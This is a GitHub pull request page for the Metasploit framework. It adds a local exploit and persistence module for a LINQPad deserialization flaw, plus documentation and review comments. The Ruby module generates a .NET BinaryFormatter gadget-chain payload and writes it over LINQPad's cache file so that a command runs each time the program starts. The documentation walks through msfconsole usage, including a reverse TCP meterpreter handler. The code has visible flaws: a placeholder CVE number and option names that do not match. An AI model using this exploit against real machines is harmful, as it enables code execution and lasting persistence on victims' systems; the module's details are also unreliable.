-
Notifications
You must be signed in to change notification settings - Fork 14.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Linqpad deserialization #19777
Open
msutovsky-r7
wants to merge
8
commits into
rapid7:master
Choose a base branch
from
msutovsky-r7:linqpad_deserialization
base: master
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
+136
−0
Open
Linqpad deserialization #19777
Changes from all commits
Commits
Show all changes
8 commits
Select commit
Hold shift + click to select a range
302052c
LINQPad deserialization module init
msutovsky-r7 2a51f45
Merge branch 'rapid7:master' into linqpad_deserialization
msutovsky-r7 058e7be
Cleaning up module
msutovsky-r7 93c2360
Renaming module to persistence module instead
msutovsky-r7 2f351ea
Addressing some issues
msutovsky-r7 689e44f
Addressing some issues
msutovsky-r7 712b47b
Merge branch 'rapid7:master' into linqpad_deserialization
msutovsky-r7 f667179
Removing execution of LINQPad file due to module recategorisation to …
msutovsky-r7 File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
50 changes: 50 additions & 0 deletions
50
documentation/modules/exploit/windows/local/linqpad_deserialization.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,50 @@ | ||
## LINQPad 5.48 Deserialization | ||
|
||
LINQPad is a scratchpad for .NET programming. Versions prior to 5.52 contain a deserialization vulnerability in processing cache file when program is starting. Application can be downloaded from [here](https://www.linqpad.net/). | ||
|
||
## Verification Steps | ||
Steps: | ||
|
||
1. Install the application | ||
2. Start msfconsole | ||
3. Get Meterpreter/cmd shell | ||
4. Run: `use windows/local/linqpad_deserialization` | ||
5. Set payload - for example `set payload cmd/windows/generic` - and corresponding parameters | ||
5. Set parameters `session`, `cache_path`, `linqpad_path` | ||
6. Run exploit | ||
|
||
## Options | ||
|
||
### cache\_path | ||
|
||
The parameter sets path for folder, where vulnerable cache file is present. This is crucial part of the exploit as the folder can be used to identify whether the current version is vulnerable and the payload delivery is performed through cache file. | ||
|
||
### linqpad\_path | ||
|
||
Final part of exploit runs the LINQPad to trigger deserialization procedure. The `linpad_path` parameter sets the path to LINQPad binary, which is ran at the end of exploit. | ||
|
||
Example: | ||
|
||
``` | ||
msf6 > use exploit/multi/handler | ||
msf6 exploit(multi/handler) > set LHOST 192.168.95.128 | ||
msf6 exploit(multi/handler) > set LPORT 4242 | ||
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter_reverse_tcp | ||
msf6 exploit(multi/handler) > run | ||
[*] Started reverse TCP handler on 192.168.95.128:4242 | ||
[*] Meterpreter session 1 opened (192.168.95.128:4242 -> 192.168.95.130:53430) at 2024-12-30 12:46:16 +0100 | ||
|
||
meterpreter > background | ||
[*] Backgrounding session 1... | ||
msf6 exploit(multi/handler) > use windows/local/linqpad_deserialization | ||
msf6 exploit(windows/local/linqpad_deserialization) > set LINQPAD_PATH C:/ProgramData/LINQPad/Updates50.AnyCPU/552/LINQPad.exe | ||
msf6 exploit(windows/local/linqpad_deserialization) > set payload windows/exec/cmd | ||
msf6 exploit(windows/local/linqpad_deserialization) > set cache_path C:/Users/ms/AppData/Local/LINQPad | ||
msf6 exploit(windows/local/linqpad_deserialization) > set CMD calc.exe | ||
msf6 exploit(windows/local/linqpad_deserialization) > set session 1 | ||
msf6 exploit(windows/local/linqpad_deserialization) > exploit | ||
[*] Exploit completed, but no session was created. | ||
``` | ||
|
||
Previous example will run `calc.exe` when LINQPad will start. | ||
|
86 changes: 86 additions & 0 deletions
86
modules/exploits/windows/local/linqpad_deserialization_persistence.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,86 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Local | ||
Rank = NormalRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html | ||
|
||
# includes file?, directory? | ||
include Msf::Post::File | ||
|
||
# includes generate | ||
include Msf::Util::DotNetDeserialization | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
# The Name should be just like the line of a Git commit - software name, | ||
# vuln type, class. Preferably apply | ||
# some search optimization so people can actually find the module. | ||
# We encourage consistency between module name and file name. | ||
'Name' => 'LINQPad Deserialization Exploit', | ||
'Description' => %q{ | ||
This module exploits a bug in LIQPad up to version 5.48.00. The bug is only exploitable in paid version of software. The core of a bug is cache file containing deserialized data, which attacker can overwrite with malicious payload. The data gets deserialized every time the app restarts. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => [ | ||
'msutovsky-r7 <[email protected]>', | ||
'James Williams' # original research | ||
], | ||
'Platform' => 'win', | ||
'SessionTypes' => [ 'shell', 'meterpreter' ], | ||
'Targets' => [[ 'Windows', { 'Arch' => ARCH_CMD } ]], | ||
# 'Privileged' => true, | ||
'References' => [ | ||
[ 'URL', 'https://trustedsec.com/blog/discovering-a-deserialization-vulnerability-in-linqpad'], | ||
[ 'CVE', '1978-1234'] | ||
], | ||
'DisclosureDate' => '2024-12-03', | ||
'DefaultTarget' => 0, | ||
# https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html | ||
'Notes' => { | ||
'Stability' => [CRASH_SAFE], | ||
'Reliability' => [REPEATABLE_SESSION], | ||
'SideEffects' => [ARTIFACTS_ON_DISK] | ||
} | ||
) | ||
) | ||
register_options([ | ||
OptString.new('LINQPAD_FILE', [true, 'Path to LINQPad executable on target\'s machine']), | ||
OptString.new('CACHE_PATH', [true, 'Path to cache file directory containing deserialized data']), | ||
OptBool.new('CLEANUP', [false, 'Restore original cache file when exploit finish']) | ||
]) | ||
end | ||
|
||
# Simplify pulling the writable directory variable | ||
|
||
def check | ||
if datastore['LINQPAD_PATH'].blank? || !file?(datastore['LINQPAD_PATH']) | ||
return Exploit::CheckCode::Unknown('LINQPad binary not specified or doesn\'t exist') | ||
elsif datastore['CACHE_PATH'].blank? || !directory?(datastore['Cache_path']) || !file?(datastore['CACHE_PATH'] + '/autorefcache46.1.dat') | ||
return Exploit::CheckCode::Unknown('Cache directory doesn\'t exist') | ||
elsif !file?(datastore['CACHE_PATH'] + '/autorefcache46.1.dat') | ||
return Exploit::CheckCode::Unknown('Cannot find cache file') | ||
elsif file?(datastore['CACHE_PATH'] + '/autorefcache46.2.dat') | ||
return Exploit::CheckCode::Safe('Contains not vulnerable version of LINQPad') | ||
else | ||
return Exploit::CheckCode::Vulnerable('LINPad and vulnerable cache file present, target possibly exploitable') | ||
end | ||
end | ||
|
||
def exploit | ||
# generate payload | ||
dotnet_payload = ::Msf::Util::DotNetDeserialization.generate( | ||
payload.encoded, # this is the Operating System command to run | ||
gadget_chain: :TextFormattingRunProperties, | ||
formatter: :BinaryFormatter | ||
) | ||
# try to overwrite cache file | ||
fail_with(Failure::PayloadFailed, 'Writing payload to cache file failed') unless write_file(datastore['CACHE_PATH'] + '/AutoRefCache46.1.dat', dotnet_payload) | ||
|
||
# add cleanup option | ||
register_file_for_cleanup(datastore['CACHE_PATH']) if datastore['CLEANUP'] | ||
end | ||
end |
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Doesn't this remove the persistence when the module finishes?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
It does, but only with
CLEANUP
option enabled. I checked other windows persistence modules and most of them seem to use some sort of cleanup when option is enabled. They don't do cleanup by default, but there's an option. I'm not sure how to generally work with persistence modules, but I can remove this if persistence module shouldn't have this.There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Unfortunately you're in flux right now because the official persistence stuff isn't landed (or finished) yet.
I believe you should NOT cleanup because persistence shouldn't be a one time thing, it should be persistent.
I think while I was working on the other persistence modules I noticed a data store option to prevent cleanup. I think this is a great option to set to false by default, then allow a user to change it if they only want it once (PoC type showcase)
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
@h00die thanks for your clarification, I'm gonna take a look at #19815 and after we land that I'll move to your burp persistence and this one.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
https://github.com/rapid7/metasploit-framework/pull/19815/files#diff-d22add56d9bc0af40f788f4d21ac443f38f13f94b9ae0f2ad0496ba6d0d4b19eR11